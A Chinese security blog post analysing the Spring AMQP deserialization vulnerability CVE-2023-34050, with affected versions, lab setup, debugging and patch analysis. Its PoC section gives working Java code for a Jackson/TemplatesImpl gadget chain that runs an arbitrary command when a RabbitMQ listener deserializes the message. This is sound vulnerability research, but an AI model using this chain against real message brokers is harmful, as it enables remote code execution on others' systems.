长亭百川云 - 文章详情

Spring AMQP 反序列化漏洞分析(CVE-2023-34050)

中孚安全技术研究

90

2024-07-13

1. 前言

官方公告:
https://spring.io/security/cve-2023-34050

漏洞描述**:**         

2016 年,Spring AMQP 中添加了可反序列化类名的允许列表模式,允许用户锁定来自不受信任来源的消息中数据的反序列化;但是默认情况下,当未提供允许的列表时,所有类都可以反序列化。

利用条件:

  • 使用 SimpleMessageConverter 或 SerializerMessageConverter

  • 用户未配置允许列表模式

  • 不受信任的消息发起者获得将消息写入 RabbitMQ 代理以发送恶意内容的权限

影响版本:          

Spring AMQP:

· 1.0.0 到 2.4.16

· 3.0.0 到 3.0.9

Spring Boot 2.7.17、3.0.12、3.1.5、3.2.0版本之前。

修复建议:

  • 不允许不受信任的来源访问 RabbitMQ 服务器

  • 版本低于 2.4.17 的用户应升级到 2.4.17

  • 使用版本 3.0.0 至 3.0.9 的用户应升级到 3.0.10    

简介**:**         

AMQP(Advanced Message Queuing ,高级消息队列协议)是一种使用广泛的独立于语言的消息协议,它定义了一种二进制格式的消息流,任何编程语言都可以实现该协议。实际应用最广泛的 AMQP 服务器是 RabbitMQ 。

2. 环境搭建

创建一个 Spring Boot 项目,引入图中几个模块。         

也可以手动添加 spring-rabbit 依赖:

`<dependency>          ``   <groupId>org.springframework.amqp</groupId>             ``   <artifactId>spring-rabbit</artifactId>               ``<version>2.4.16</version>`                `</dependency>`

这里使用的 Spring Boot 版本是 2.7.16,对应的 Spring AMQP 版本是 2.4.16;
导入 commons-beanutils 依赖,作为可利用的反序列化链。    

`<dependency>          ``     <groupId>commons-beanutils</groupId>             ``     <artifactId>commons-beanutils</artifactId>               ``<version>1.9.1</version>`                `</dependency>                  ``<dependency>                  ``     <groupId>org.javassist</groupId>                     ``     <artifactId>javassist</artifactId>                       ``<version>3.28.0-GA</version>`                        `</dependency>`

需要起一个 RabbitMQ 服务,使用 docker 搭建,执行如下命令: 

docker run -d --name my-rabbit -p 5672:5672 -p 15672:15672 rabbitmq:3-management

docker ps看到启动后的信息;

访问对应端口,默认用户名/密码是guest/guest,登录则可以看到 RabbitMQ 管理页面。         

然后在 Spring Boot 中配置 RabbitMQ 服务的IP、端口、用户名、密码;

`spring.rabbitmq.host=192.168.xxx.xxx`          `spring.rabbitmq.port=5672`          `spring.rabbitmq.username=guest`          `spring.rabbitmq.password=guest`          `server.port = 8081`

写一个配置类,自定义一个myQueue队列和myExchange交换机,并且绑定myExchange和myQueue,使myExchange交换机接收到的消息发送到myQueue队列;

`import org.springframework.amqp.core.*;`          `import org.springframework.context.annotation.Bean;`          `import org.springframework.context.annotation.Configuration;`          `   ``@Configuration`          `public class RabbitConfig {          ``     //自定义队列           ``     @Bean           ``     public Queue MyQueue() {           ``         return new Queue("myQueue", true);           ``     }           ``     //自定义交换机           ``     @Bean           ``     public DirectExchange MyExchange() {           ``return new DirectExchange("myExchange");`              `}`            `//绑定交换机和队列``     @Bean           ``     public Binding binding() {           ``         return BindingBuilder.bind(MyQueue()).to(MyExchange()).with("blckder02");           ``}`          `}`

在管理页面可以看到创建的交换机和队列,以及绑定信息;如果代码绑定不成功,就手动在管理页面绑定。         

写一个发送消息的方法,其中routingKey字段要和上面绑定交换机和队列处with("blckder02")一致,这里都设为blckder02;

`import org.springframework.amqp.rabbit.core.RabbitTemplate;`   `import org.springframework.beans.factory.annotation.Autowired;`  `import org.springframework.stereotype.Service;`          `   ``@Service`          `public class MessageSenderService {          ``     private final RabbitTemplate rabbitTemplate;          ``     @Autowired           ``     public MessageSenderService(RabbitTemplate rabbitTemplate) {           ``         this.rabbitTemplate = rabbitTemplate;           ``}`                  `public void sendMessage (Object message) {``         rabbitTemplate.convertAndSend("myExchange", "blckder02", message);           ``         System.out.println("Message Sent Success");           ``}`          `}`

再写一个监听myQueue队列的方法,使用@RabbitListener指定要监听的队列名称;

`import org.springframework.amqp.rabbit.annotation.RabbitListener;`          `import org.springframework.stereotype.Service;`                    `@Service`          `public class MyService {`                    `     @RabbitListener(queues = "myQueue")           ``     public void recevie(Object result) {           ``         System.out.println("监听到消息了");           ``         System.out.println(result);           ``}`          `}`   

简单写一个 Controller 测试一下服务搭建是否成功;

`@RestController``public class MessageController {``   `    `private final MessageSenderService messageSenderService;`    `@Autowired`    `public MessageController(MessageSenderService messageSenderService) {``         this.messageSenderService = messageSenderService;  ``     }     ``    @GetMapping("/testsend")`    `public void testsendMessage (Object message)  {`        `messageSenderService.sendMessage("Hello RabbitMQ!");`    `}` `}`

下断点慢慢执行,就可以看见队列中的消息数量,执行太快的话消息很快就处理完了,就不会显示; 
能显示则说明服务搭建成功。         

3. poc构造

先准备一个 CommonBeanutils 的反序列化链的 templatesImpl 对象,抛出AmqpRejectAndDontRequeueException异常,避免陷入死循环;

`public class CommonBeanutils1 {          ``     public static TemplatesImpl createTemplatesImpl(String cmd) {           ``try {`                      `TemplatesImpl templates = TemplatesImpl.class.newInstance();`                             `ClassPool pool = ClassPool.getDefault();``             pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));           ``             CtClass cc = pool.makeClass("Cat");           ``             String cmdSrc = String.format("try { java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException("err"); } ");           ``             cc.makeClassInitializer().insertBefore(cmdSrc);           ``             String randomClassName = "Calc" + System.nanoTime();           ``cc.setName(randomClassName);`                      `cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));``   `            `setField(templates, "_name", "name");``             setField(templates,"_bytecodes",new byte[][]{cc.toBytecode()});           ``             setField(templates, "_tfactory", new TransformerFactoryImpl());           ``             setField(templates, "_class", null);    ``             return templates;           ``        } catch (Exception e) {`            `e.printStackTrace();``             return null;  ``         }  ``     }  ``     public static void setField(Object object,String field,Object args) throws Exception{           ``         Field f0 = object.getClass().getDeclaredField(field);           ``        f0.setAccessible(true);`        `f0.set(object,args);``}`          `}`  

在 Controller 中定义发送消息的方法,templates 需要用一个可被序列化的类包裹,POJONode依次继承于ValueNode -> BaseJsonNode并实现Serializable接口;         
但是 POJONode 是 Jackson 包中的类,由于 Jackson 反序列化链不稳定,所以需要构造一个 JdkDynamicAopProxy 类的代理类,以保证稳定调用TemplatesImpl#getOutputProperties();         
而将 POJONode 对象赋给 BadAttributeValueExpException 对象的val值,则是为了通过BadAttributeValueExpException.readObject()调用POJONode.toString(),从而调用到TemplatesImpl#getOutputProperties()。

`@GetMapping("/send")` `public void sendMessage (Object message) throws Exception {          ``     TemplatesImpl templates = CommonBeanutils1.createTemplatesImpl("calc.exe");           ``    AdvisedSupport as = new AdvisedSupport();`    `as.setTarget(templates);``     Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);           ``constructor.setAccessible(true);`     `InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);``   `    `Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);`                    `     POJONode pojoNode = new POJONode(templatesProxy);  ``    BadAttributeValueExpException poc = new BadAttributeValueExpException(null);`    `CommonBeanutils1.setField(poc, "val", pojoNode);``   `    `messageSenderService.sendMessage(poc);``}`

还有一个重要的点,就是重新定义com.fasterxml.jackson.databind.node .BaseJsonNode,并且删除writeReplace()方法,这样就不会出现java.lang.NullPointerException。具体原因文末细说。

运行看看,成功执行命令,并且消息中能看到传递的 poc 。

4. 调试分析

直接跟进RabbitTemplate.conveAndSend(),先将消息转换为Message类型,调用的消息转换器是默认的SimpleMessageConverter;         

在进行toMessage()时会调用createMessage(),这里面会判断传入消息对象的类型,这里 BadAttributeValueExpException 对象是实现了 Serializable 接口的,所以将对象进行序列化,并且把 content-type 类型设为application/x-java-serialized-object,然后返回 Message 对象;

然后将 Message 发送到 Rabbit 服务;         

在监听接收消息时,会调用SimpleMessageConverter.fromMessage(),判断了 content-type 类型符合application/x-java-serialized-object,于是调用SerializationUtils.deserialize()对 message 进行反序列化;

在 SimpleMessageConverter 中重写了CodebaseAwareObjectInputStream#resolveClass()方法,调用了checkAllowedList()对反序列化的类进行校验;         

然而allowedListPatterns默认为空,并没有起到白名单校验的作用,就导致任意类都允许被反序列化;         

最后看到熟悉的触发点。         

5. 补丁分析

补丁地址:https://github.com/spring-projects/spring-amqp/compare/v2.4.16...v2.4.17?diff=split

Spring AMQP 2.4.17 相较于 2.4.16 版本新增了环境变量SPRING_AMQP_DESERIALIZATION_TRUST_ALL和 JVM 属性spring.amqp.deserialization.trust.all,只有两个值都为 true时, TRUST_ALL变量才为 true;         

在checkAllowedList()方法中也是增加了对TRUST_ALL的判断。        

6. 踩的坑

因为对 AMQP 不是很熟悉,试错了好多次才勉强复现出来。

1.删除 BaseJsonNode.writeReplace

使用原本的 BaseJsonNode 的话,在发送消息序列化的时候会调用BaseJsonNode.writeReplace(),最后也会调用TemplatesImpl.getOutputProperties()触发命令执行;

但是这里触发后会报错NullPointerException,导致消息传递中断。 

删除掉BaseJsonNode.writeReplace()就调用的是UnmodifiableRandomAccessList.writeReplace(),消息能继续传递。         

2.Jackson 反序列化链不稳定

可以学习这篇文章:https://xz.aliyun.com/t/12846

3. 抛出 org.springframework.amqp.AmqpRejectAndDontRequeueException异常

因为在执行 CommonBeanutils 链时必然会出现报错,导致消息处理不成功,就会让消息重新排队处理,然后又报错,陷入死循环。

抛出这个异常可以避免无限次地重试失败的消息,节约系统资源。

4. 消息未处理,删除队列

由于消息处理失败,还是会留存在队中,处于unacked状态,当测试程序再次启动时,就会优先处理队列中留存消息。

所以在复现过程中如果队列中还留存有上一次测试的消息,可以把队列删除重新创建。   

参考链接:

https://exp10it.cn/2023/10/spring-amqp-反序列化漏洞-cve-2023-34050-分析/
https://boogipop.com/2023/04/24/AliyunCTF 2023 WriteUP/
https://blog.csdn.net/qq\_43655835/article/details/106827158

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2